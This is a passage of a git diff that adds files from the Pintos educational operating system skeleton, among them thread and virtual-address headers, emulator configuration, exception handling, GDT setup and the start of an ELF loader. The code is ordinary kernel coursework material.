+}
diff --git a/src/threads/thread.h b/src/threads/thread.h
new file mode 100644
index 0000000..9e3d034
--- /dev/null
+++ b/src/threads/thread.h
@@ -0,0 +1,146 @@
+#ifndef THREADS_THREAD_H
+#define THREADS_THREAD_H
+
+#include <debug.h>
+#include <list.h>
+#include <stdint.h>
+
+#include "userprog/flist.h"
+
+/* States in a thread's life cycle. */
+enum thread_status
+ {
+ THREAD_RUNNING, /* Running thread. */
+ THREAD_READY, /* Not running but ready to run. */
+ THREAD_BLOCKED, /* Waiting for an event to trigger. */
+ THREAD_DYING /* About to be destroyed. */
+ };
+
+/* Thread identifier type.
+ You can redefine this to whatever type you like. */
+typedef int tid_t;
+#define TID_ERROR ((tid_t) -1) /* Error value for tid_t. */
+
+/* Thread priorities. */
+#define PRI_MIN 0 /* Lowest priority. */
+#define PRI_DEFAULT 31 /* Default priority. */
+#define PRI_MAX 63 /* Highest priority. */
+
+/* A kernel thread or user process.
+
+ Each thread structure is stored in its own 4 kB page. The
+ thread structure itself sits at the very bottom of the page
+ (at offset 0). The rest of the page is reserved for the
+ thread's kernel stack, which grows downward from the top of
+ the page (at offset 4 kB). Here's an illustration:
+
+ 4 kB +---------------------------------+
+ | kernel stack |
+ | | |
+ | | |
+ | V |
+ | grows downward |
+ | |
+ | |
+ | |
+ | |
+ | |
+ | |
+ | |
+ | |
+ +---------------------------------+
+ | magic |
+ | : |
+ | : |
+ | name |
+ | status |
+ 0 kB +---------------------------------+
+
+ The upshot of this is twofold:
+
+ 1. First, `struct thread' must not be allowed to grow too
+ big. If it does, then there will not be enough room for
+ the kernel stack. Our base `struct thread' is only a
+ few bytes in size. It probably should stay well under 1
+ kB.
+
+ 2. Second, kernel stacks must not be allowed to grow too
+ large. If a stack overflows, it will corrupt the thread
+ state. Thus, kernel functions should not allocate large
+ structures or arrays as non-static local variables. Use
+ dynamic allocation with malloc() or palloc_get_page()
+ instead.
+
+ The first symptom of either of these problems will probably be
+ an assertion failure in thread_current(), which checks that
+ the `magic' member of the running thread's `struct thread' is
+ set to THREAD_MAGIC. Stack overflow will normally change this
+ value, triggering the assertion. */
+/* The `elem' member has a dual purpose. It can be an element in
+ the run queue (thread.c), or it can be an element in a
+ semaphore wait list (synch.c). It can be used these two ways
+ only because they are mutually exclusive: only a thread in the
+ ready state is on the run queue, whereas only a thread in the
+ blocked state is on a semaphore wait list. */
+struct thread
+ {
+ /* Owned by thread.c. */
+ tid_t tid; /* Thread identifier. */
+ enum thread_status status; /* Thread state. */
+ char name[16]; /* Name (for debugging purposes). */
+ uint8_t *stack; /* Saved stack pointer. */
+ int priority; /* Priority. */
+
+ /* Shared between thread.c and synch.c. */
+ struct list_elem elem; /* List element. */
+
+ /* YES! You may want to add stuff. But make note of point 2 above. */
+
+#ifdef USERPROG
+ /* Owned by userprog/process.c. */
+ uint32_t *pagedir; /* Page directory. */
+#endif
+
+ /* Owned by thread.c. */
+ unsigned magic; /* Detects stack overflow. */
+ };
+
+/* If false (default), use round-robin scheduler.
+ If true, use multi-level feedback queue scheduler.
+ Controlled by kernel command-line option "-o mlfqs". */
+extern bool thread_mlfqs;
+
+void thread_init (void);
+void thread_start (void);
+
+void thread_tick (void);
+void thread_print_stats (void);
+
+typedef void thread_func (void *aux);
+tid_t thread_create (const char *name, int priority, thread_func *, void *);
+
+void thread_block (void);
+void thread_unblock (struct thread *);
+
+struct thread *thread_current (void);
+tid_t thread_tid (void);
+const char *thread_name (void);
+
+void thread_exit (void) NO_RETURN;
+void thread_yield (void);
+
+int thread_get_priority (void);
+void thread_set_priority (int);
+
+int thread_get_nice (void);
+void thread_set_nice (int);
+int thread_get_recent_cpu (void);
+int thread_get_load_avg (void);
+
+void DEBUG_thread_init(void);
+void DEBUG_thread_count_up(void);
+void DEBUG_thread_count_down(void);
+void DEBUG_thread_poweroff_check(bool force_off);
+bool DEBUG_thread_create_simulate_fail(void);
+
+#endif /* threads/thread.h */
diff --git a/src/threads/vaddr.h b/src/threads/vaddr.h
new file mode 100644
index 0000000..184c824
--- /dev/null
+++ b/src/threads/vaddr.h
@@ -0,0 +1,89 @@
+#ifndef THREADS_VADDR_H
+#define THREADS_VADDR_H
+
+#include <debug.h>
+#include <stdint.h>
+#include <stdbool.h>
+
+#include "threads/loader.h"
+
+/* Functions and macros for working with virtual addresses.
+
+ See pte.h for functions and macros specifically for x86
+ hardware page tables. */
+
+#define BITMASK(SHIFT, CNT) (((1ul << (CNT)) - 1) << (SHIFT))
+
+/* Page offset (bits 0:12). */
+#define PGSHIFT 0 /* Index of first offset bit. */
+#define PGBITS 12 /* Number of offset bits. */
+#define PGSIZE (1 << PGBITS) /* Bytes in a page. */
+#define PGMASK BITMASK(PGSHIFT, PGBITS) /* Page offset bits (0:12). */
+
+/* Offset within a page. */
+static inline unsigned pg_ofs (const void *va) {
+ return (uintptr_t) va & PGMASK;
+}
+
+/* Virtual page number. */
+static inline uintptr_t pg_no (const void *va) {
+ return (uintptr_t) va >> PGBITS;
+}
+
+/* Round up to nearest page boundary. */
+static inline void *pg_round_up (const void *va) {
+ return (void *) (((uintptr_t) va + PGSIZE - 1) & ~PGMASK);
+}
+
+/* Round down to nearest page boundary. */
+static inline void *pg_round_down (const void *va) {
+ return (void *) ((uintptr_t) va & ~PGMASK);
+}
+
+/* Base address of the 1:1 physical-to-virtual mapping. Physical
+ memory is mapped starting at this virtual address. Thus,
+ physical address 0 is accessible at PHYS_BASE, physical
+ address address 0x1234 at (uint8_t *) PHYS_BASE + 0x1234, and
+ so on.
+
+ This address also marks the end of user programs' address
+ space. Up to this point in memory, user programs are allowed
+ to map whatever they like. At this point and above, the
+ virtual address space belongs to the kernel. */
+#define PHYS_BASE ((void *) LOADER_PHYS_BASE)
+
+/* Returns true if VADDR is a user virtual address. */
+static inline bool
+is_user_vaddr (const void *vaddr)
+{
+ return vaddr < PHYS_BASE;
+}
+
+/* Returns true if VADDR is a kernel virtual address. */
+static inline bool
+is_kernel_vaddr (const void *vaddr)
+{
+ return vaddr >= PHYS_BASE;
+}
+
+/* Returns kernel virtual address at which physical address PADDR
+ is mapped. */
+static inline void *
+ptov (uintptr_t paddr)
+{
+ ASSERT ((void *) paddr < PHYS_BASE);
+
+ return (void *) (paddr + PHYS_BASE);
+}
+
+/* Returns physical address at which kernel virtual address VADDR
+ is mapped. */
+static inline uintptr_t
+vtop (const void *vaddr)
+{
+ ASSERT (is_kernel_vaddr (vaddr));
+
+ return (uintptr_t) vaddr - (uintptr_t) PHYS_BASE;
+}
+
+#endif /* threads/vaddr.h */
diff --git a/src/userprog/.cvsignore b/src/userprog/.cvsignore
new file mode 100644
index 0000000..6d5357c
--- /dev/null
+++ b/src/userprog/.cvsignore
@@ -0,0 +1,3 @@
+build
+bochsrc.txt
+bochsout.txt
diff --git a/src/userprog/Make.vars b/src/userprog/Make.vars
new file mode 100644
index 0000000..4335438
--- /dev/null
+++ b/src/userprog/Make.vars
@@ -0,0 +1,8 @@
+# -*- makefile -*-
+
+os.dsk: DEFINES += -DUSERPROG -DFILESYS
+KERNEL_SUBDIRS = threads devices lib lib/kernel userprog filesys
+TEST_SUBDIRS = tests/klaar tests/userprog tests/filesys/base
+# tests/userprog/no-vm
+GRADING_FILE = $(SRCDIR)/tests/userprog/Grading
+SIMULATOR = --qemu
diff --git a/src/userprog/Makefile b/src/userprog/Makefile
new file mode 100644
index 0000000..34c10aa
--- /dev/null
+++ b/src/userprog/Makefile
@@ -0,0 +1 @@
+include ../Makefile.kernel
diff --git a/src/userprog/bochsrc.txt b/src/userprog/bochsrc.txt
new file mode 100644
index 0000000..ea21837
--- /dev/null
+++ b/src/userprog/bochsrc.txt
@@ -0,0 +1,13 @@
+romimage: file=$BXSHARE/BIOS-bochs-latest, address=0xf0000
+vgaromimage: file=$BXSHARE/VGABIOS-lgpl-latest
+boot: disk
+cpu: ips=1000000
+megs: 4
+log: bochsout.txt
+panic: action=fatal
+clock: sync=none, time0=0
+ata0-master: type=disk, path=/tmp/DcPkTwrKiK.dsk, mode=flat, cylinders=1, heads=16, spt=63, translation=none
+ata0-slave: type=disk, path=fs.dsk, mode=flat, cylinders=4, heads=16, spt=63, translation=none
+ata1: enabled=1, ioaddr1=0x170, ioaddr2=0x370, irq=15
+ata1-master: type=disk, path=/tmp/GFsmC9D5kP.dsk, mode=flat, cylinders=1, heads=16, spt=63, translation=none
+com1: enabled=1, mode=term, dev=/dev/stdout
diff --git a/src/userprog/exception.c b/src/userprog/exception.c
new file mode 100644
index 0000000..3865dc2
--- /dev/null
+++ b/src/userprog/exception.c
@@ -0,0 +1,161 @@
+#include "userprog/exception.h"
+#include <inttypes.h>
+#include <stdio.h>
+#include "userprog/gdt.h"
+#include "threads/interrupt.h"
+#include "threads/thread.h"
+
+/* Number of page faults processed. */
+static long long page_fault_cnt;
+
+static void kill (struct intr_frame *);
+static void page_fault (struct intr_frame *);
+
+/* Registers handlers for interrupts that can be caused by user
+ programs.
+
+ In a real Unix-like OS, most of these interrupts would be
+ passed along to the user process in the form of signals, as
+ described in [SV-386] 3-24 and 3-25, but we don't implement
+ signals. Instead, we'll make them simply kill the user
+ process.
+
+ Page faults are an exception. Here they are treated the same
+ way as other exceptions, but this will need to change to
+ implement virtual memory.
+
+ Refer to [IA32-v3a] section 5.15 "Exception and Interrupt
+ Reference" for a description of each of these exceptions. */
+void
+exception_init (void)
+{
+ /* These exceptions can be raised explicitly by a user program,
+ e.g. via the INT, INT3, INTO, and BOUND instructions. Thus,
+ we set DPL==3, meaning that user programs are allowed to
+ invoke them via these instructions. */
+ intr_register_int (3, 3, INTR_ON, kill, "#BP Breakpoint Exception");
+ intr_register_int (4, 3, INTR_ON, kill, "#OF Overflow Exception");
+ intr_register_int (5, 3, INTR_ON, kill,
+ "#BR BOUND Range Exceeded Exception");
+
+ /* These exceptions have DPL==0, preventing user processes from
+ invoking them via the INT instruction. They can still be
+ caused indirectly, e.g. #DE can be caused by dividing by
+ 0. */
+ intr_register_int (0, 0, INTR_ON, kill, "#DE Divide Error");
+ intr_register_int (1, 0, INTR_ON, kill, "#DB Debug Exception");
+ intr_register_int (6, 0, INTR_ON, kill, "#UD Invalid Opcode Exception");
+ intr_register_int (7, 0, INTR_ON, kill,
+ "#NM Device Not Available Exception");
+ intr_register_int (11, 0, INTR_ON, kill, "#NP Segment Not Present");
+ intr_register_int (12, 0, INTR_ON, kill, "#SS Stack Fault Exception");
+ intr_register_int (13, 0, INTR_ON, kill, "#GP General Protection Exception");
+ intr_register_int (16, 0, INTR_ON, kill, "#MF x87 FPU Floating-Point Error");
+ intr_register_int (19, 0, INTR_ON, kill,
+ "#XF SIMD Floating-Point Exception");
+
+ /* Most exceptions can be handled with interrupts turned on.
+ We need to disable interrupts for page faults because the
+ fault address is stored in CR2 and needs to be preserved. */
+ intr_register_int (14, 0, INTR_OFF, page_fault, "#PF Page-Fault Exception");
+}
+
+/* Prints exception statistics. */
+void
+exception_print_stats (void)
+{
+ printf ("Exception: %lld page faults\n", page_fault_cnt);
+}
+
+/* Handler for an exception (probably) caused by a user process. */
+static void
+kill (struct intr_frame *f)
+{
+ /* This interrupt is one (probably) caused by a user process.
+ For example, the process might have tried to access unmapped
+ virtual memory (a page fault). For now, we simply kill the
+ user process. Later, we'll want to handle page faults in
+ the kernel. Real Unix-like operating systems pass most
+ exceptions back to the process via signals, but we don't
+ implement them. */
+
+ /* The interrupt frame's code segment value tells us where the
+ exception originated. */
+ switch (f->cs)
+ {
+ case SEL_UCSEG:
+ /* User's code segment, so it's a user exception, as we
+ expected. Kill the user process. */
+ printf ("%s: dying due to interrupt %#04x (%s).\n",
+ thread_name (), f->vec_no, intr_name (f->vec_no));
+ intr_dump_frame (f);
+ thread_exit ();
+
+ case SEL_KCSEG:
+ /* Kernel's code segment, which indicates a kernel bug.
+ Kernel code shouldn't throw exceptions. (Page faults
+ may cause kernel exceptions--but they shouldn't arrive
+ here.) Panic the kernel to make the point. */
+ intr_dump_frame (f);
+ PANIC ("Kernel bug - unexpected interrupt in kernel");
+
+ default:
+ /* Some other code segment? Shouldn't happen. Panic the
+ kernel. */
+ printf ("Interrupt %#04x (%s) in unknown segment %04x\n",
+ f->vec_no, intr_name (f->vec_no), f->cs);
+ thread_exit ();
+ }
+}
+
+/* Page fault handler. This is a skeleton that must be filled in to
+ implement virtual memory. Some solutions to system call
+ implementation may also require modifying this code.
+
+ At entry, the address that faulted is in CR2 (Control Register
+ 2) and information about the fault, formatted as described in
+ the PF_* macros in exception.h, is in F's error_code member. The
+ example code here shows how to parse that information. You
+ can find more information about both of these in the
+ description of "Interrupt 14--Page Fault Exception (#PF)" in
+ [IA32-v3a] section 5.15 "Exception and Interrupt Reference". */
+static void
+page_fault (struct intr_frame *f)
+{
+ bool not_present; /* True: not-present page, false: writing r/o page. */
+ bool write; /* True: access was write, false: access was read. */
+ bool user; /* True: access by user, false: access by kernel. */
+ void *fault_addr; /* Fault address. */
+
+ /* Obtain faulting address, the virtual address that was
+ accessed to cause the fault. It may point to code or to
+ data. It is not necessarily the address of the instruction
+ that caused the fault (that's f->eip).
+ See [IA32-v2a] "MOV--Move to/from Control Registers" and
+ [IA32-v3a] 5.15 "Interrupt 14--Page Fault Exception
+ (#PF)". */
+ asm ("movl %%cr2, %0" : "=r" (fault_addr));
+
+ /* Turn interrupts back on (they were only off so that we could
+ be assured of reading CR2 before it changed). */
+ intr_enable ();
+
+ /* Count page faults. */
+ page_fault_cnt++;
+
+ /* Determine cause. */
+ not_present = (f->error_code & PF_P) == 0;
+ write = (f->error_code & PF_W) != 0;
+ user = (f->error_code & PF_U) != 0;
+
+ /* To implement virtual memory, delete the rest of the function
+ body, and replace it with code that brings in the page to
+ which fault_addr refers. */
+ printf ("Page fault at %p: %s error %s page in %s context.\n",
+ fault_addr,
+ not_present ? "not present" : "rights violation",
+ write ? "writing" : "reading",
+ user ? "user" : "kernel");
+ kill (f);
+}
+
diff --git a/src/userprog/exception.h b/src/userprog/exception.h
new file mode 100644
index 0000000..f83e615
--- /dev/null
+++ b/src/userprog/exception.h
@@ -0,0 +1,12 @@
+#ifndef USERPROG_EXCEPTION_H
+#define USERPROG_EXCEPTION_H
+
+/* Page fault error code bits that describe the cause of the exception. */
+#define PF_P 0x1 /* 0: not-present page. 1: access rights violation. */
+#define PF_W 0x2 /* 0: read, 1: write. */
+#define PF_U 0x4 /* 0: kernel, 1: user process. */
+
+void exception_init (void);
+void exception_print_stats (void);
+
+#endif /* userprog/exception.h */
diff --git a/src/userprog/flist.c b/src/userprog/flist.c
new file mode 100644
index 0000000..e88a087
--- /dev/null
+++ b/src/userprog/flist.c
@@ -0,0 +1,4 @@
+#include <stddef.h>
+
+#include "flist.h"
+
diff --git a/src/userprog/flist.h b/src/userprog/flist.h
new file mode 100644
index 0000000..3fcd1d5
--- /dev/null
+++ b/src/userprog/flist.h
@@ -0,0 +1,35 @@
+#ifndef _MAP_H_
+#define _MAP_H_
+
+/* Place functions to handle a process open files here (file list).
+
+ flist.h : Your function declarations and documentation.
+ flist.c : Your implementation.
+
+ The following is strongly recommended:
+
+ - A function that given a file (struct file*, see filesys/file.h)
+ and a process id INSERT this in a list of files. Return an
+ integer that can be used to find the opened file later.
+
+ - A function that given an integer (obtained from above function)
+ and a process id FIND the file in a list. Should return NULL if
+ the specified process did not insert the file or already removed
+ it.
+
+ - A function that given an integer (obtained from above function)
+ and a process id REMOVE the file from a list. Should return NULL
+ if the specified process did not insert the file or already
+ removed it.
+
+ - A function that given a process id REMOVE ALL files the specified
+ process have in the list.
+
+ All files obtained from filesys/filesys.c:filesys_open() are
+ considered OPEN files and must be added to a list or else kept
+ track of, to guarantee ALL open files are eventyally CLOSED
+ (probably when removed from the list(s)).
+ */
+
+
+#endif
diff --git a/src/userprog/gdt.c b/src/userprog/gdt.c
new file mode 100644
index 0000000..a7423b7
--- /dev/null
+++ b/src/userprog/gdt.c
@@ -0,0 +1,146 @@
+#include "userprog/gdt.h"
+#include <debug.h>
+#include "userprog/tss.h"
+#include "threads/palloc.h"
+#include "threads/vaddr.h"
+
+/* The Global Descriptor Table (GDT).
+
+ The GDT, an x86-specific structure, defines segments that can
+ potentially be used by all processes in a system, subject to
+ their permissions. There is also a per-process Local
+ Descriptor Table (LDT) but that is not used by modern
+ operating systems.
+
+ Each entry in the GDT, which is known by its byte offset in
+ the table, identifies a segment. For our purposes only three
+ types of segments are of interest: code, data, and TSS or
+ Task-State Segment descriptors. The former two types are
+ exactly what they sound like. The TSS is used primarily for
+ stack switching on interrupts.
+
+ For more information on the GDT as used here, refer to
+ [IA32-v3a] 3.2 "Using Segments" through 3.5 "System Descriptor
+ Types". */
+static uint64_t gdt[SEL_CNT];
+
+/* GDT helpers. */
+static uint64_t make_code_desc (int dpl);
+static uint64_t make_data_desc (int dpl);
+static uint64_t make_tss_desc (void *laddr);
+static uint64_t make_gdtr_operand (uint16_t limit, void *base);
+
+/* Sets up a proper GDT. The bootstrap loader's GDT didn't
+ include user-mode selectors or a TSS, but we need both now. */
+void
+gdt_init (void)
+{
+ uint64_t gdtr_operand;
+
+ /* Initialize GDT. */
+ gdt[SEL_NULL / sizeof *gdt] = 0;
+ gdt[SEL_KCSEG / sizeof *gdt] = make_code_desc (0);
+ gdt[SEL_KDSEG / sizeof *gdt] = make_data_desc (0);
+ gdt[SEL_UCSEG / sizeof *gdt] = make_code_desc (3);
+ gdt[SEL_UDSEG / sizeof *gdt] = make_data_desc (3);
+ gdt[SEL_TSS / sizeof *gdt] = make_tss_desc (tss_get ());
+
+ /* Load GDTR, TR. See [IA32-v3a] 2.4.1 "Global Descriptor
+ Table Register (GDTR)", 2.4.4 "Task Register (TR)", and
+ 6.2.4 "Task Register". */
+ gdtr_operand = make_gdtr_operand (sizeof gdt - 1, gdt);
+ asm volatile ("lgdt %0" : : "m" (gdtr_operand));
+ asm volatile ("ltr %w0" : : "r" (SEL_TSS));
+}
+
+/* System segment or code/data segment? */
+enum seg_class
+ {
+ CLS_SYSTEM = 0, /* System segment. */
+ CLS_CODE_DATA = 1 /* Code or data segment. */
+ };
+
+/* Limit has byte or 4 kB page granularity? */
+enum seg_granularity
+ {
+ GRAN_BYTE = 0, /* Limit has 1-byte granularity. */
+ GRAN_PAGE = 1 /* Limit has 4 kB granularity. */
+ };
+
+/* Returns a segment descriptor with the given 32-bit BASE and
+ 20-bit LIMIT (whose interpretation depends on GRANULARITY).
+ The descriptor represents a system or code/data segment
+ according to CLASS, and TYPE is its type (whose interpretation
+ depends on the class).
+
+ The segment has descriptor privilege level DPL, meaning that
+ it can be used in rings numbered DPL or lower. In practice,
+ DPL==3 means that user processes can use the segment and
+ DPL==0 means that only the kernel can use the segment. See
+ [IA32-v3a] 4.5 "Privilege Levels" for further discussion. */
+static uint64_t
+make_seg_desc (uint32_t base,
+ uint32_t limit,
+ enum seg_class class,
+ int type,
+ int dpl,
+ enum seg_granularity granularity)
+{
+ uint32_t e0, e1;
+
+ ASSERT (limit <= 0xfffff);
+ ASSERT (class == CLS_SYSTEM || class == CLS_CODE_DATA);
+ ASSERT (type >= 0 && type <= 15);
+ ASSERT (dpl >= 0 && dpl <= 3);
+ ASSERT (granularity == GRAN_BYTE || granularity == GRAN_PAGE);
+
+ e0 = ((limit & 0xffff) /* Limit 15:0. */
+ | (base << 16)); /* Base 15:0. */
+
+ e1 = (((base >> 16) & 0xff) /* Base 23:16. */
+ | (type << 8) /* Segment type. */
+ | (class << 12) /* 0=system, 1=code/data. */
+ | (dpl << 13) /* Descriptor privilege. */
+ | (1 << 15) /* Present. */
+ | (limit & 0xf0000) /* Limit 16:19. */
+ | (1 << 22) /* 32-bit segment. */
+ | (granularity << 23) /* Byte/page granularity. */
+ | (base & 0xff000000)); /* Base 31:24. */
+
+ return e0 | ((uint64_t) e1 << 32);
+}
+
+/* Returns a descriptor for a readable code segment with base at
+ 0, a limit of 4 GB, and the given DPL. */
+static uint64_t
+make_code_desc (int dpl)
+{
+ return make_seg_desc (0, 0xfffff, CLS_CODE_DATA, 10, dpl, GRAN_PAGE);
+}
+
+/* Returns a descriptor for a writable data segment with base at
+ 0, a limit of 4 GB, and the given DPL. */
+static uint64_t
+make_data_desc (int dpl)
+{
+ return make_seg_desc (0, 0xfffff, CLS_CODE_DATA, 2, dpl, GRAN_PAGE);
+}
+
+/* Returns a descriptor for an "available" 32-bit Task-State
+ Segment with its base at the given linear address, a limit of
+ 0x67 bytes (the size of a 32-bit TSS), and a DPL of 0.
+ See [IA32-v3a] 6.2.2 "TSS Descriptor". */
+static uint64_t
+make_tss_desc (void *laddr)
+{
+ return make_seg_desc ((uint32_t) laddr, 0x67, CLS_SYSTEM, 9, 0, GRAN_BYTE);
+}
+
+
+/* Returns a descriptor that yields the given LIMIT and BASE when
+ used as an operand for the LGDT instruction. */
+static uint64_t
+make_gdtr_operand (uint16_t limit, void *base)
+{
+ return limit | ((uint64_t) (uint32_t) base << 16);
+}
diff --git a/src/userprog/gdt.h b/src/userprog/gdt.h
new file mode 100644
index 0000000..81fe50c
--- /dev/null
+++ b/src/userprog/gdt.h
@@ -0,0 +1,15 @@
+#ifndef USERPROG_GDT_H
+#define USERPROG_GDT_H
+
+#include "threads/loader.h"
+
+/* Segment selectors.
+ More selectors are defined by the loader in loader.h. */
+#define SEL_UCSEG 0x1B /* User code selector. */
+#define SEL_UDSEG 0x23 /* User data selector. */
+#define SEL_TSS 0x28 /* Task-state segment. */
+#define SEL_CNT 6 /* Number of segments. */
+
+void gdt_init (void);
+
+#endif /* userprog/gdt.h */
diff --git a/src/userprog/load.c b/src/userprog/load.c
new file mode 100644
index 0000000..eabc056
--- /dev/null
+++ b/src/userprog/load.c
@@ -0,0 +1,381 @@
+#include <inttypes.h> /* Elf32_word etc. */
+#include <round.h> /* ROUND_UP */
+#include <stdio.h>
+#include <string.h> /* memcmp */
+
+#include "userprog/process.h"
+#include "userprog/load.h"
+#include "userprog/pagedir.h"
+#include "filesys/file.h"
+#include "filesys/filesys.h"
+#include "threads/palloc.h" /* PAL_* constants */
+#include "threads/thread.h"
+#include "threads/vaddr.h" /* PGSIZE */
+
+/* We load ELF binaries. The following definitions are taken
+ from the ELF specification, [ELF1], more-or-less verbatim. */
+
+/* ELF types. See [ELF1] 1-2. */
+typedef uint32_t Elf32_Word, Elf32_Addr, Elf32_Off;
+typedef uint16_t Elf32_Half;
+
+/* For use with ELF types in printf(). */
+#define PE32Wx PRIx32 /* Print Elf32_Word in hexadecimal. */
+#define PE32Ax PRIx32 /* Print Elf32_Addr in hexadecimal. */
+#define PE32Ox PRIx32 /* Print Elf32_Off in hexadecimal. */
+#define PE32Hx PRIx16 /* Print Elf32_Half in hexadecimal. */
+
+/* Executable header. See [ELF1] 1-4 to 1-8.
+ This appears at the very beginning of an ELF binary. */
+struct Elf32_Ehdr
+ {
+ unsigned char e_ident[16];
+ Elf32_Half e_type;
+ Elf32_Half e_machine;
+ Elf32_Word e_version;
+ Elf32_Addr e_entry;
+ Elf32_Off e_phoff;
+ Elf32_Off e_shoff;
+ Elf32_Word e_flags;
+ Elf32_Half e_ehsize;
+ Elf32_Half e_phentsize;
+ Elf32_Half e_phnum;
+ Elf32_Half e_shentsize;
+ Elf32_Half e_shnum;
+ Elf32_Half e_shstrndx;
+ };
+
+/* Program header. See [ELF1] 2-2 to 2-4.
+ There are e_phnum of these, starting at file offset e_phoff
+ (see [ELF1] 1-6). */
+struct Elf32_Phdr
+ {
+ Elf32_Word p_type;
+ Elf32_Off p_offset;
+ Elf32_Addr p_vaddr;
+ Elf32_Addr p_paddr;
+ Elf32_Word p_filesz;
+ Elf32_Word p_memsz;
+ Elf32_Word p_flags;
+ Elf32_Word p_align;
+ };
+
+/* Values for p_type. See [ELF1] 2-3. */
+#define PT_NULL 0 /* Ignore. */
+#define PT_LOAD 1 /* Loadable segment. */
+#define PT_DYNAMIC 2 /* Dynamic linking info. */
+#define PT_INTERP 3 /* Name of dynamic loader. */
+#define PT_NOTE 4 /* Auxiliary info. */
+#define PT_SHLIB 5 /* Reserved. */
+#define PT_PHDR 6 /* Program header table. */
+#define PT_STACK 0x6474e551 /* Stack segment. */
+
+/* Flags for p_flags. See [ELF3] 2-3 and 2-4. */
+#define PF_X 1 /* Executable. */
+#define PF_W 2 /* Writable. */
+#define PF_R 4 /* Readable. */
+
+static bool setup_stack (void **esp);
+static bool validate_segment (const struct Elf32_Phdr *, struct file *);
+static bool load_segment (struct file *file, off_t ofs, uint8_t *upage,
+ uint32_t read_bytes, uint32_t zero_bytes,
+ bool writable);
+
+/* Loads an ELF executable from FILE_NAME into the current thread.
+ Stores the executable's entry point into *EIP
+ and its initial stack pointer into *ESP.
+ Returns true if successful, false otherwise. */
+bool
+load (const char *file_name, void (**eip) (void), void **esp)
+{
+ struct thread *t = thread_current ();
+ struct Elf32_Ehdr ehdr;
+ struct file *file = NULL;
+ off_t file_ofs;
+ bool success = false;
+ int i;
+
+ /* Allocate and activate page directory. */
+ t->pagedir = pagedir_create ();
+ if (t->pagedir == NULL)
+ goto done;
+ process_activate ();
+
+ /* Set up stack. */
+ if (!setup_stack (esp)){
+ goto done;
+ }
+
+ /* Open executable file. */
+ file = filesys_open (file_name);
+ if (file == NULL)
+ {
+ printf ("load: %s: open failed\n", file_name);
+ goto done;
+ }
+
+ /* Read and verify executable header. */
+ if (file_read (file, &ehdr, sizeof ehdr) != sizeof ehdr
+ || memcmp (ehdr.e_ident, "\177ELF\1\1\1", 7)
+ || ehdr.e_type != 2
+ || ehdr.e_machine != 3
+ || ehdr.e_version != 1
+ || ehdr.e_phentsize != sizeof (struct Elf32_Phdr)
+ || ehdr.e_phnum > 1024)
+ {
+ printf ("load: %s: error loading executable\n", file_name);
+ goto done;
+ }
+
+ /* Read program headers. */
+ file_ofs = ehdr.e_phoff;
+ for (i = 0; i < ehdr.e_phnum; i++)
+ {
+ struct Elf32_Phdr phdr;
+
+ if (file_ofs < 0 || file_ofs > file_length (file))
+ goto done;
+ file_seek (file, file_ofs);
+
+ if (file_read (file, &phdr, sizeof phdr) != sizeof phdr)
+ goto done;
+ file_ofs += sizeof phdr;
+ switch (phdr.p_type)
+ {
+ case PT_NULL:
+ case PT_NOTE:
+ case PT_PHDR:
+ case PT_STACK:
+ default:
+ /* Ignore this segment. */
+ break;
+ case PT_DYNAMIC:
+ case PT_INTERP:
+ case PT_SHLIB:
+ goto done;
+ case PT_LOAD:
+ if (validate_segment (&phdr, file))
+ {
+ bool writable = (phdr.p_flags & PF_W) != 0;
+ uint32_t file_page = phdr.p_offset & ~PGMASK;
+ uint32_t mem_page = phdr.p_vaddr & ~PGMASK;
+ uint32_t page_offset = phdr.p_vaddr & PGMASK;
+ uint32_t read_bytes, zero_bytes;
+ if (phdr.p_filesz > 0)
+ {
+ /* Normal segment.
+ Read initial part from disk and zero the rest. */
+ read_bytes = page_offset + phdr.p_filesz;
+ zero_bytes = (ROUND_UP (page_offset + phdr.p_memsz, PGSIZE)
+ - read_bytes);
+ }
+ else
+ {
+ /* Entirely zero.
+ Don't read anything from disk. */
+ read_bytes = 0;
+ zero_bytes = ROUND_UP (page_offset + phdr.p_memsz, PGSIZE);
+ }
+ if (!load_segment (file, file_page, (void *) mem_page,
+ read_bytes, zero_bytes, writable))
+ goto done;
+ }
+ else
+ goto done;
+ break;
+ }
+ }
+
+ /* Start address. */
+ *eip = (void (*) (void)) ehdr.e_entry;
+
+ success = true;
+
+ done:
+ /* We arrive here whether the load is successful or not. */
+ file_close (file);
+ return success;
+}
+
+/* load() helpers. */
+
+static bool install_page (void *upage, void *kpage, bool writable);
+
+/* Checks whether PHDR describes a valid, loadable segment in
+ FILE and returns true if so, false otherwise. */
+static bool
+validate_segment (const struct Elf32_Phdr *phdr, struct file *file)
+{
+ /* p_offset and p_vaddr must have the same page offset. */
+ if ((phdr->p_offset & PGMASK) != (phdr->p_vaddr & PGMASK))
+ return false;
+
+ /* p_offset must point within FILE. */
+ if (phdr->p_offset > (Elf32_Off) file_length (file))
+ return false;
+
+ /* p_memsz must be at least as big as p_filesz. */
+ if (phdr->p_memsz < phdr->p_filesz)
+ return false;
+
+ /* The segment must not be empty. */
+ if (phdr->p_memsz == 0)
+ return false;
+
+ /* The virtual memory region must both start and end within the
+ user address space range. */
+ if (!is_user_vaddr ((void *) phdr->p_vaddr))
+ return false;
+ if (!is_user_vaddr ((void *) (phdr->p_vaddr + phdr->p_memsz)))
+ return false;
+
+ /* The region cannot "wrap around" across the kernel virtual
+ address space. */
+ if (phdr->p_vaddr + phdr->p_memsz < phdr->p_vaddr)
+ return false;
+
+ /* Disallow mapping page 0.
+ Not only is it a bad idea to map page 0, but if we allowed
+ it then user code that passed a null pointer to system calls
+ could quite likely panic the kernel by way of null pointer
+ assertions in memcpy(), etc. */
+ if (phdr->p_vaddr < PGSIZE)
+ return false;
+
+ /* It's okay. */
+ return true;
+}
+
+/* Loads a segment starting at offset OFS in FILE at address
+ UPAGE. In total, READ_BYTES + ZERO_BYTES bytes of virtual
+ memory are initialized, as follows:
+
+ - READ_BYTES bytes at UPAGE must be read from FILE
+ starting at offset OFS.
+
+ - ZERO_BYTES bytes at UPAGE + READ_BYTES must be zeroed.
+
+ The pages initialized by this function must be writable by the
+ user process if WRITABLE is true, read-only otherwise.
+
+ Return true if successful, false if a memory allocation error
+ or disk read error occurs. */
+static bool
+load_segment (struct file *file, off_t ofs, uint8_t *upage,
+ uint32_t read_bytes, uint32_t zero_bytes, bool writable)
+{
+ ASSERT ((read_bytes + zero_bytes) % PGSIZE == 0);
+ ASSERT (pg_ofs (upage) == 0);
+ ASSERT (ofs % PGSIZE == 0);
+
+ file_seek (file, ofs);
+ while (read_bytes > 0 || zero_bytes > 0)
+ {
